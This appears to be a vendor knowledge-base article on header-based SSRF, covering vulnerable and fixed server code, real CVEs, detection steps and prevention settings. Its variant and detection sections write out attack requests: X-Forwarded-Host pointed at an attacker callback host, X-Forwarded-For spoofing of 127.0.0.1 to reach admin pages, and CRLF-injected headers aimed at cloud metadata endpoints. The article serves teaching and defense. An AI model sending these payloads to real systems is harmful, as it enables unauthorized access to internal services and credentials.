Header-based SSRF

What is Header-Based SSRF#

Header-based SSRF exploits HTTP headers that contain hostname or URL values consumed server-side. Instead of a URL parameter, the attack vector is the request header itself — specifically headers designed for proxy traversal and routing that expose internal URLs when trusted blindly.

Two distinct sub-categories exist with different exploit mechanics and impact profiles:

Sub-category A — True SSRF (OOB-confirmed): The injected header value causes the server or framework to make an HTTP request to an attacker-controlled URL. The request can be confirmed via OOB callback (Burp Collaborator, Interactsh DNS/HTTP hit). CVE-2026-27739 (Angular SSR) is the canonical 2026 example.

Sub-category B — Access Bypass (differential-confirmable): The injected header tricks the server into treating the incoming request as originating from localhost or a privileged IP, bypassing IP-based access controls. No outbound request is made — the server itself serves the protected resource. X-Forwarded-For: 127.0.0.1 is the canonical example.

Both sub-categories are in scope under CWE-918 and OWASP A10:2021 because both exploit the server's trusted network position. True SSRF is typically more severe (arbitrary internal network access); access bypass is more consistent (works even when egress is restricted).

Mechanism#

The vulnerable Node.js pattern:

// VULNERABLE — trusts X-Forwarded-Host for server-side fetch
app.get('/dashboard', async (req, res) => {
  // Framework reads header for SSR context
  const host = req.headers['x-forwarded-host'] || req.headers['host'];
  // Attacker injects X-Forwarded-Host: attacker.com
  const config = await fetch(`http://${host}/api/config`);
  return res.render('dashboard', { config: await config.json() });
});

// SAFE — hardcoded internal service URL
const INTERNAL_API_BASE = process.env.INTERNAL_API_URL; // e.g. "http://api-svc:8080"
 
app.get('/dashboard', async (req, res) => {
  const config = await fetch(`${INTERNAL_API_BASE}/api/config`);
  return res.render('dashboard', { config: await config.json() });
});

Attack Variants#

True SSRF Headers (Sub-category A)#

Access Bypass Headers (Sub-category B)#

The access bypass attack:

# Target: internal admin panel accessible only from 127.0.0.1
# Without bypass:
GET /admin/users HTTP/1.1
Host: target.com
# → 403 Forbidden (IP check: client is 203.0.113.5, not 127.0.0.1)
 
# With X-Original-URL bypass:
GET / HTTP/1.1
Host: target.com
X-Original-URL: /admin/users
# → 200 OK (server routes to /admin/users, X-Original-URL overrides)
 
# With X-Forwarded-For bypass:
GET /admin/users HTTP/1.1
Host: target.com
X-Forwarded-For: 127.0.0.1
# → 200 OK (framework sees "remote IP" as 127.0.0.1, grants admin access)

CRLF Injection → Header Injection → SSRF#

When header values are reflected into downstream HTTP requests without CRLF sanitization, an attacker can inject arbitrary headers:

# Injected webhook header name (CVE-2025-6454 pattern)
Header-Name: value\r\nX-Internal-Auth: bypass\r\nHost: metadata.internal
 
# Results in the downstream request containing:
Header-Name: value
X-Internal-Auth: bypass
Host: metadata.internal

GitLab's webhook custom header feature (CVE-2025-6454, CVSS 8.5) injected arbitrary headers into outbound webhook requests by placing \r\n in header name fields. The resulting injected Host: 169.254.169.254 header caused proxy-based deployments to route the webhook request to the IMDS endpoint.

Real-World Examples#

CVE-2026-27739 — Angular SSR (CVSS 9.2) — Angular's server-side rendering engine reads the X-Forwarded-Host header when constructing URLs for internal API fetches. The header is consumed without validation, causing the framework to make an HTTP request to http://<injected-host>/api/config. This is an outbound true SSRF — confirmed via OOB callback. Critical severity because Angular SSR is widely deployed in enterprise Next.js-adjacent stacks, and the internal API URL construction is a framework-level pattern.

CVE-2026-32762 — Rack (Ruby on Rails) (HIGH) — The Forwarded HTTP header (RFC 7239) in Rack-based applications was processed server-side to construct upstream request URLs. The host= parameter in the Forwarded header value caused the application to make outbound requests to the injected host. Rails and Sinatra applications using ActionDispatch::RemoteIp were affected.

CVE-2025-6454 — GitLab CE/EE (CVSS 8.5, CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H) — GitLab's webhook custom header feature (introduced in 16.11) allowed CRLF injection in header name fields. Developer+ users could forge arbitrary HTTP headers in all outbound webhook requests. In proxy-based environments, injected Host: headers re-routed webhook traffic to internal services. Fixed in GitLab 18.1.6, 18.2.6, 18.3.2.

CVE-2024-40898 — Apache HTTP Server (HIGH, Windows) — mod_rewrite rules in server context on Windows failed to restrict outbound requests. Crafted requests forced the server to connect to arbitrary SMB shares via UNC path handling, triggering automatic Windows NTLM authentication — leaking NetNTLM hashes to the attacker for offline cracking or relay attacks. Bounty: HackerOne #2123113, $4,920 from the Internet Bug Bounty.

Detection#

Manual Testing#

1. Add the following headers to every request targeting the application:

   • X-Forwarded-Host: <burp-collaborator-id>.oastify.com
   • X-Forwarded-For: 127.0.0.1
   • Host: <burp-collaborator-id>.oastify.com (add second Host header)
   • X-Original-URL: /admin
   • Referer: https://<burp-collaborator-id>.oastify.com/

2. Check Burp Collaborator for DNS/HTTP interactions after each request.

3. For access bypass testing, add X-Forwarded-For: 127.0.0.1 to requests returning 403 and observe if the response changes to 200. Compare content length and body between the original and injected request.

4. For CRLF injection, test header values with embedded %0d%0a sequences:

   X-Custom-Header: value%0d%0aX-Injected: bypass

   Copy

5. For redirect-based true SSRF, test X-Forwarded-Host on pages that use server-side rendering or make internal API calls.

# True SSRF test — check Collaborator for HTTP callback
GET /api/dashboard HTTP/1.1
Host: target.example.com
X-Forwarded-Host: attacker.oastify.com
 
# Access bypass test — compare responses
GET /admin/panel HTTP/1.1
Host: target.example.com
X-Forwarded-For: 127.0.0.1
 
# CRLF injection test
POST /api/webhook/create HTTP/1.1
Content-Type: application/json
 
{"name": "test\r\nX-Internal: admin", "url": "https://legitimate.com"}

Automated Detection#

BreachVex's header-injection detection tests both sub-categories with FP prevention: baseline stability requires multiple samples at the same status before testing; response reflection is treated as low-confidence (an injected value echoed in the body is likely server-side reflection, not an outbound fetch); CDN status codes 421, 451, 521-526 are excluded; a minimum body-delta threshold filters noise. OOB-type headers (X-Forwarded-Host) require an active out-of-band callback channel — without it, the probe is skipped to avoid false positives.

Prevention#

Never Trust Forwarded Headers for Outbound Requests#

# VULNERABLE — X-Forwarded-Host controls outbound fetch
def get_dashboard_config(request):
    host = request.headers.get("X-Forwarded-Host") or request.headers.get("Host")
    config = requests.get(f"http://{host}/api/config")  # SSRF
    return config.json()
 
# SAFE — hardcoded internal service URL from environment
INTERNAL_CONFIG_API = os.environ["INTERNAL_CONFIG_API_URL"]  # e.g., "http://config-svc:8080"
 
def get_dashboard_config(request):
    config = requests.get(f"{INTERNAL_CONFIG_API}/api/config")
    return config.json()

Sanitize CRLF in Header Values#

import re
 
def sanitize_header_value(value: str) -> str:
    """Strip CRLF sequences from header values — prevents header injection."""
    return re.sub(r'[\r\n]', '', value)
 
# Apply to all user-supplied header values before forwarding
def forward_webhook(webhook_headers: dict, payload: bytes) -> None:
    sanitized = {
        sanitize_header_value(k): sanitize_header_value(v)
        for k, v in webhook_headers.items()
    }
    requests.post(webhook_url, data=payload, headers=sanitized)

Disable Forwarded Header Trust Except at Edge#

# Nginx — strip forwarded headers from untrusted sources
# Only accept X-Forwarded-For from known upstream proxies
real_ip_header X-Forwarded-For;
set_real_ip_from 10.0.0.0/8;      # trusted internal range only
set_real_ip_from 172.16.0.0/12;
real_ip_recursive on;
 
# Clear X-Forwarded-Host before passing to backend
proxy_set_header X-Forwarded-Host "";

// Express — configure trust proxy explicitly, never trust Host header for fetches
app.set('trust proxy', '10.0.0.0/8');  // only trust known proxy IPs
 
// Never use req.hostname for outbound requests — it reads Host/X-Forwarded-Host
const INTERNAL_API = 'http://api.internal:8080';  // hardcoded

Resources#

• SSRF — Pillar Overview
• PortSwigger — SSRF via HTTP Headers
• OWASP SSRF Prevention Cheat Sheet
• NVD — CVE-2025-6454